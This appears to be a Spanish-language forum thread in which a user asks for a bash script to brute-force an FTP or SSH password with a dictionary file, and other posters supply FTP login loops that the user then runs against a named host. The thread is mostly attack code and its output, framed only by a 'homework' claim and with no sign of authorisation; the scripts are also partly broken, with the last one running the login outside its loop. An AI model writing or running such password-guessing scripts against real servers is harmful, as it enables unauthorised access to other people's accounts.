-
Ayuda con script bash
Hola a todos!!!
Necesito ayuda para hackear por ftp o ssh a través de un script que utilice un diccionario (que ya lo tengo) por medio de fuerza bruta. Tambien tengo el usuario solo necesito hackear la contraseña!!
A todos los que puedan ayudarme gracias. Haaaaa y es para una tarea que tengo y no logro darle al clavo.;);)
-
Eso de hacekear por ftp o ssh no suena nada bien. Seria mejor decir que necesitas entrar o reventar la contraseña mediante diccionario.
El script es muy sencillo, tendrias que leer todas las lineas del diccionario y probarlas, shell script te lo pone facil, aunque yo no recuerdo como era ^^U
Quizas lo mas jodido, sea el pensar el como introduces la contraseña.
Te pego un codigo de un script que hace hace milenios:
Código:
ftp -n $HOST << END
quote USER $USER
quote PASS $PASSWD
-
ok gracias!!! si alguien tiene algo mas se lo agradeceria!!!!
-
Suponiendo que lo de arriba es correcto, bastaría con algo así:
Código:
while read PASSWD
do
ftp -n $HOST << END
quote USER $USER
quote PASS $PASSWD
done < diccionario
Salu2
-
Excelente!!!!
a ver si lo entiendo
while read PASSWD --donde PASSWD seria el archivo de diccionario
do
ftp -n $HOST << END -- donde HOST seria la direccion para entrar
quote USER $USER -- donde USER seria mi usuario
quote PASS $PASSWD -- y aca me tranque!!!!
done < diccionario --creo que aca va el diccionario verdad??? }
CREO QUE LO ENTENDI!!!! ?????
-
Excelente!!!!
a ver si lo entiendo
while read PASSWD --donde PASSWD seria el archivo de diccionario
do
ftp -n $HOST << END -- donde HOST seria la direccion para entrar
quote USER $USER -- donde USER seria mi usuario
quote PASS $PASSWD -- y aca me tranque!!!!
done < diccionario --creo que aca va el diccionario verdad??? }
CREO QUE LO ENTENDI!!!! ?????
-
No podemos saber si tú crees que lo entendiste, no somos David Copperfield ni nada parecido.
-
El script va leyendo una línea cada vez. Para cada línea:
Código:
while read PASSWD
mientras no se acabe el archivo, guarda la línea (el password, en este caso) en la variable $PASSWD
Código:
do
ftp -n $HOST << END
quote USER $USER
quote PASS $PASSWD
done < diccionario
el archivo es 'diccionario', que se le pasa al while con '<'
Por cada iteración (cada línea del archivo), hace lo que está en rojo
Si quieres programar con shell scripting, mejor échale un ojo a esto:
http://www.gnu.org/software/bash/manual/bashref.html
Salu2
-
ja ja ja ok SE AGRADECE DE TODOS MODOS!!!!!
-
Sigo con problemas ya lo pase por el bash y me dice que tiene problemas en la linea 8 al final del archivo pero ahi no hay nada en esa linea.!!!! final de archivo inesperado
:confused::confused::confused::confused:
-
Fallo mío, al código que tomé por bueno le faltaba la etiqueta de "fin de línea"
Con este ejemplo puedes ver el funcionamiento básico. Habrás de ajustarlo a tus propias necesidades:
Código:
#!/bin/sh
HOST='tu.servidor.es'
USER='anonymous'
PASSWD=$1
ftpcmd=`ftp -n $HOST << ENDFTP
quote USER $USER
quote PASS $PASSWD
dir
ENDFTP`
while read PASSWD
do
echo "Usando el pass: $PASSWD"
echo $ftpcmd
done < test
Salu2
-
Muy buen aporte!!!!
Lo he probado no cambie nada salvo lo que corresponde y me tira este mensaje, quisiera salir de la duda para ver si esta trabajando bien o no. GRACIAS:):):)
KERBEROS_V4 rejected as an authentication type
Usando el pass: 123456
Please login with USER and PASS. Please login with USER and PASS. Login incorrect. Please login with USER and PASS. Passive mode refused. Turning off passive mode. Please login with USER and PASS.
y el codigo quedo asi
#!/bin/sh
HOST='nombre.nombre.com.pais'
USER='miclave'
PASSWD=$1
ftpcmd=`ftp -n $HOST << ENDFTP
quote USER $USER
quote PASS $PASSWD
dir
ENDFTP`
while read PASSWD
do
echo "Usando el pass: $PASSWD"
echo $ftpcmd
done < clave1c
-
Te toca a tí pelearte con el servidor ftp ;)
Salu2
-
Intento!!!!
Sigo intentando ingresar!!!!! pero lo voy a conseguir gracias!!!!:):)